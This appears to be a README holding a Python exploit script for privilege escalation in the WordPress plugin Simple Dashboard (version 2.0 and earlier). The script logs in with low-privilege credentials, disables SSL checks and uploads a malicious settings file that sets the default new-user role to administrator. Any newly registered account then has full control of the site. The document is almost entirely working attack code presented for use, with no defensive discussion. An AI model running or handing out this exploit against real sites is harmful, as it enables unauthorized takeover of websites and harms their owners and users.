README.md
Rendering markdown...
import requests
import argparse
# by: Nxploited | Khaled Alenazi
requests.packages.urllib3.disable_warnings() # Disable SSL warnings
# Setup argparse
parser = argparse.ArgumentParser(description="Exploit for Simple Dashboard <= 2.0 - Privilege Escalation # By Khaled Alenazi")
parser.add_argument('-u', '--url', required=True, help='Target WordPress base URL (e.g., http://target.com/wordpress)')
parser.add_argument('-U', '--username', required=True, help='WordPress username to log in')
parser.add_argument('-P', '--password', required=True, help='Password for the WordPress user')
args = parser.parse_args()
# Setup session and headers
session = requests.Session()
session.verify = False # Disable SSL verification
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
headers = {"User-Agent": user_agent}
# Log in to WordPress
login_url = args.url + '/wp-login.php'
login_data = {
'log': args.username,
'pwd': args.password,
'rememberme': 'forever',
'wp-submit': 'Log In'
}
print("[*] Attempting to log in...")
response = session.post(login_url, headers=headers, data=login_data)
# Check login success
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Logged in successfully as '{}'.".format(args.username))
else:
print("[-] Failed to log in. Please check your credentials.")
exit()
# Exploit: Upload JSON with default_role set to administrator
exploit_url = args.url + '/wp-admin/admin.php?page=dashboard_extended_settings'
malicious_json = '{"default_role":"administrator"}'
files = {
'settings': ('malicious.json', malicious_json, 'application/json'),
'Upload_Settings': (None, 'Upload Settings File')
}
print("[*] Sending malicious settings file to escalate privileges...")
response = session.post(exploit_url, headers=headers, files=files)
if "Settings Saved" in response.text:
print("[+] Exploitation successful!")
print("[!] You can now register a new account at: {}/wp-login.php?action=register".format(args.url))
print("[!] The new user will automatically receive Administrator privileges.")
else:
print("[-] Exploit failed. The settings may not have been applied.")
print("[-] Status Code:", response.status_code)